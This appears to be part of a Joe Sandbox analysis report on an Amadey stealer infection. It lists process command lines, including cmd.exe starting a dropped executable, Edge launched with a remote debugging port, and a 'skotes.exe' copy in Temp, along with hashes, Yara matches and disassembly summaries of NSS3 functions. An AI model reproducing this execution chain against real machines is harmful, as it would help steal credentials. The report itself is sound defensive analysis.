Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2452 --field-trial-handle=2188,i,1505856362135034536,9576378359776568965,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:31:31
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	10:31:32
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	10:31:37
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6632 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:31:37
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6944 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:31:37
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5460 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:31:37
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5460 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	10:32:01
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFBGIDHCAAK.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:32:01
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	10:32:01
Start date:	26/11/2024
Path:	C:\Users\user\DocumentsFBGIDHCAAK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsFBGIDHCAAK.exe"
Imagebase:	0x2e0000
File size:	1'921'024 bytes
MD5 hash:	F1D8B74CC714267516F750BEB7E3439E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2796315271.00000000002E1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.2707754831.0000000004A00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	10:32:05
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x1000000
File size:	1'921'024 bytes
MD5 hash:	F1D8B74CC714267516F750BEB7E3439E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.2760898826.0000000004B80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2802270362.0000000001001000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	10:32:08
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x1000000
File size:	1'921'024 bytes
MD5 hash:	F1D8B74CC714267516F750BEB7E3439E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.2776498856.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.2817458882.0000000001001000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	10:32:32
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6836 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	10:33:00
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x1000000
File size:	1'921'024 bytes
MD5 hash:	F1D8B74CC714267516F750BEB7E3439E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.3411778938.0000000001001000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.3290398513.00000000048E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Function 6CAB6E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CC02120,6CAB7E60), ref: 6CAB6EBC
TlsGetValue.KERNEL32 ref: 6CAB6EDF
EnterCriticalSection.KERNEL32(?), ref: 6CAB6EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CAB6F25

Part of subcall function 6CA8A900: TlsGetValue.KERNEL32(00000000,?,6CC014E4,?,6CA24DD9), ref: 6CA8A90F
Part of subcall function 6CA8A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CA8A94F

PR_Unlock.NSS3 ref: 6CAB6F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CAB6FA9
TlsGetValue.KERNEL32 ref: 6CAB70B4
EnterCriticalSection.KERNEL32(?), ref: 6CAB70C8
PR_CallOnce.NSS3(6CC024C0,6CAF7590), ref: 6CAB7104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAB7117
SECOID_Init.NSS3 ref: 6CAB7128
PORT_Alloc_Util.NSS3(00000057), ref: 6CAB714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB71A9
PR_NotifyAllCondVar.NSS3 ref: 6CAB71CF
PR_Unlock.NSS3 ref: 6CAB71DD
free.MOZGLUE(?), ref: 6CAB71EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAB7208
free.MOZGLUE(00000000), ref: 6CAB7221
free.MOZGLUE(00000001), ref: 6CAB7235
TlsGetValue.KERNEL32 ref: 6CAB724A
EnterCriticalSection.KERNEL32(?), ref: 6CAB725E
PR_NotifyCondVar.NSS3 ref: 6CAB7273
PR_Unlock.NSS3 ref: 6CAB7281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CAB7291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB72B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB72D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB72E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB7301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB7310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB7335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB7344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB7363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB7372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CBF0148,,defaultModDB,internalKeySlot), ref: 6CAB74CC
free.MOZGLUE(00000000), ref: 6CAB7513
free.MOZGLUE(00000000), ref: 6CAB751B
free.MOZGLUE(00000000), ref: 6CAB7528
free.MOZGLUE(00000000), ref: 6CAB753C
free.MOZGLUE(00000000), ref: 6CAB7550
free.MOZGLUE(00000000), ref: 6CAB7561
free.MOZGLUE(00000000), ref: 6CAB7572
free.MOZGLUE(00000000), ref: 6CAB7583
free.MOZGLUE(00000000), ref: 6CAB7594
free.MOZGLUE(00000000), ref: 6CAB75A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CAB75BD
free.MOZGLUE(00000000), ref: 6CAB75C8
free.MOZGLUE(00000000), ref: 6CAB75F1
PR_NewLock.NSS3 ref: 6CAB7636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CAB7686
PR_NewLock.NSS3 ref: 6CAB76A2

Part of subcall function 6CB698D0: calloc.MOZGLUE(00000001,00000084,6CA90936,00000001,?,6CA9102C), ref: 6CB698E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CAB76B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CAB7707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CAB771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CAB7731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CAB774A
DeleteCriticalSection.KERNEL32(?), ref: 6CAB7770
free.MOZGLUE(?), ref: 6CAB7779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB77AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CAB77C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CAB77DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CAB7821
PORT_Alloc_Util.NSS3(?), ref: 6CAB7837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAB785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CAB786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CAB78AC
free.MOZGLUE(00000000), ref: 6CAB78BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CAB78F3
free.MOZGLUE(00000000), ref: 6CAB78FC
free.MOZGLUE(00000000), ref: 6CAB791C

Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907AD
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907CD
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907D6
Part of subcall function 6CA907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA2204A), ref: 6CA907E4
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,6CA2204A), ref: 6CA90864
Part of subcall function 6CA907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA90880
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,6CA2204A), ref: 6CA908CB
Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(?,?,6CA2204A), ref: 6CA908D7
Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(?,?,6CA2204A), ref: 6CA908FB

Strings

NSS Internal Module, xrefs: 6CAB74A2, 6CAB74C6
sql:, xrefs: 6CAB76FE
dll, xrefs: 6CAB788E
,defaultModDB,internalKeySlot, xrefs: 6CAB748D, 6CAB74AA
extern:, xrefs: 6CAB772B
rdb:, xrefs: 6CAB7744
dbm:, xrefs: 6CAB7716
Spac, xrefs: 6CAB7389
kbi., xrefs: 6CAB7886
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CAB74C7

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 151fc24724f51bc8281bf2c100d78dd0c734fc5ef6ce5baedac674ea53882293
Instruction ID: 0f89c0580ac3150109cf1c7af2fa96b02409b8a18406d6450e6018690e1cb92e
Opcode Fuzzy Hash: 151fc24724f51bc8281bf2c100d78dd0c734fc5ef6ce5baedac674ea53882293
Instruction Fuzzy Hash: D352F2B1E012419BEF118F64DC057AE7BB8AF05308F194128ED19F7B51EBB1D998CBA1

Function 6CADBFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CADC0C8

Part of subcall function 6CB69440: LeaveCriticalSection.KERNEL32 ref: 6CB695CD
Part of subcall function 6CB69440: TlsGetValue.KERNEL32 ref: 6CB69622
Part of subcall function 6CB69440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6CB6964E

PR_EnterMonitor.NSS3 ref: 6CADC0AE

Part of subcall function 6CB69090: LeaveCriticalSection.KERNEL32 ref: 6CB691AA
Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB69212
Part of subcall function 6CB69090: _PR_MD_WAIT_CV.NSS3 ref: 6CB6926B

Part of subcall function 6CA90600: GetLastError.KERNEL32(?,?,?,?,?,6CA905E2), ref: 6CA90642
Part of subcall function 6CA90600: TlsGetValue.KERNEL32(?,?,?,?,?,6CA905E2), ref: 6CA9065D
Part of subcall function 6CA90600: GetLastError.KERNEL32 ref: 6CA90678
Part of subcall function 6CA90600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CA9068A
Part of subcall function 6CA90600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA90693
Part of subcall function 6CA90600: PR_SetErrorText.NSS3(00000000,?), ref: 6CA9069D
Part of subcall function 6CA90600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,1CA903C2,?,?,?,?,?,6CA905E2), ref: 6CA906CA
Part of subcall function 6CA90600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CA905E2), ref: 6CA906E6

PR_EnterMonitor.NSS3 ref: 6CADC0F2
PR_ExitMonitor.NSS3 ref: 6CADC10E
PR_ExitMonitor.NSS3 ref: 6CADC081

Part of subcall function 6CB69440: TlsGetValue.KERNEL32 ref: 6CB6945B
Part of subcall function 6CB69440: TlsGetValue.KERNEL32 ref: 6CB69479
Part of subcall function 6CB69440: EnterCriticalSection.KERNEL32 ref: 6CB69495
Part of subcall function 6CB69440: TlsGetValue.KERNEL32 ref: 6CB694E4
Part of subcall function 6CB69440: TlsGetValue.KERNEL32 ref: 6CB69532
Part of subcall function 6CB69440: LeaveCriticalSection.KERNEL32 ref: 6CB6955D

PR_EnterMonitor.NSS3 ref: 6CADC068

Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB690AB
Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB690C9
Part of subcall function 6CB69090: EnterCriticalSection.KERNEL32 ref: 6CB690E5
Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB69116
Part of subcall function 6CB69090: LeaveCriticalSection.KERNEL32 ref: 6CB6913F

Part of subcall function 6CA90600: GetProcAddress.KERNEL32(?,?), ref: 6CA90623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CADC14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CADC183
free.MOZGLUE(00000000), ref: 6CADC18E
PR_LoadLibrary.NSS3(?), ref: 6CADC1A3
PR_EnterMonitor.NSS3 ref: 6CADC1D4
PR_ExitMonitor.NSS3 ref: 6CADC1F3
PR_CallOnce.NSS3(6CC02318,6CADCA70), ref: 6CADC210
PR_EnterMonitor.NSS3 ref: 6CADC22B
PR_ExitMonitor.NSS3 ref: 6CADC247
PR_EnterMonitor.NSS3 ref: 6CADC26A
PR_ExitMonitor.NSS3 ref: 6CADC287
PR_UnloadLibrary.NSS3(?), ref: 6CADC2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CADC392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CADC3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CADC3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CADC782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CADC7B5
PR_UnloadLibrary.NSS3(?), ref: 6CADC7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CADC82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CADC8BF
PORT_Alloc_Util.NSS3(?), ref: 6CADC8D5
free.MOZGLUE(00000000), ref: 6CADC900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CADC9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CADC9E5
free.MOZGLUE(00000000), ref: 6CADCA5A

Strings

NSS_ReturnModuleSpecData, xrefs: 6CADC275
NSC_GetFunctionList, xrefs: 6CADC093
NSC_ModuleDBFunc, xrefs: 6CADC0FC
nss_mod_log, xrefs: 6CADC3CC
NSS_DEBUG_PKCS11_MODULE, xrefs: 6CADC38D
NSS_DISABLE_UNLOAD, xrefs: 6CADC7B0
FC_GetInterface, xrefs: 6CADC054
FC_GetFunctionList, xrefs: 6CADC098
NSS_FORCE_TOKEN_LOCK, xrefs: 6CADC77D
NSC_GetInterface, xrefs: 6CADC04F
Vendor NSS FIPS Interface, xrefs: 6CADC34A
PKCS 11, xrefs: 6CADC2F9, 6CADC314

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 355a4cf40c2d46636ca50303f1c63818a0678d852965e47d28cadc86dff123d8
Instruction ID: a5bd1c9b26a448d0c0c2b3c974a7c4e33a2763d43581008542274704592e9716
Opcode Fuzzy Hash: 355a4cf40c2d46636ca50303f1c63818a0678d852965e47d28cadc86dff123d8
Instruction Fuzzy Hash: 95428EB1B002448FDF04DFA8D85AB9A7BB5FB45318F57402CD8059BB21E732E999CB91

Function 6CBB3FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CBB3FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CBB3FFE
malloc.MOZGLUE(-00000003), ref: 6CBB4016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CBEFC62), ref: 6CBB404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CBB407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CBB40A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CBB40D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBB4112
malloc.MOZGLUE(00000000), ref: 6CBB411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CBB414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBB4160
free.MOZGLUE(?), ref: 6CBB416C
malloc.MOZGLUE(?), ref: 6CBB41AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CBB41EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CBB4520), ref: 6CBB4244
GetEnvironmentStrings.KERNEL32 ref: 6CBB424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBB4263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBB4283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBB42B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBB42E4
malloc.MOZGLUE(00000002), ref: 6CBB42FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CBB4342
GetStdHandle.KERNEL32(000000F6), ref: 6CBB43AB
GetStdHandle.KERNEL32(000000F5), ref: 6CBB43B2
GetStdHandle.KERNEL32(000000F4), ref: 6CBB43B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CBB4403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBB4410

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CBB445E
CloseHandle.KERNEL32(?), ref: 6CBB446B
free.MOZGLUE(?), ref: 6CBB4482
free.MOZGLUE(00000000), ref: 6CBB4492
free.MOZGLUE(00000000), ref: 6CBB44A4
GetLastError.KERNEL32 ref: 6CBB44B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CBB44BE
free.MOZGLUE(?), ref: 6CBB44C7
free.MOZGLUE(00000000), ref: 6CBB44D5
free.MOZGLUE(00000000), ref: 6CBB44EA

Strings

NSPR_INHERIT_FDS=, xrefs: 6CBB41E9
=, xrefs: 6CBB44F8
D, xrefs: 6CBB4396

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

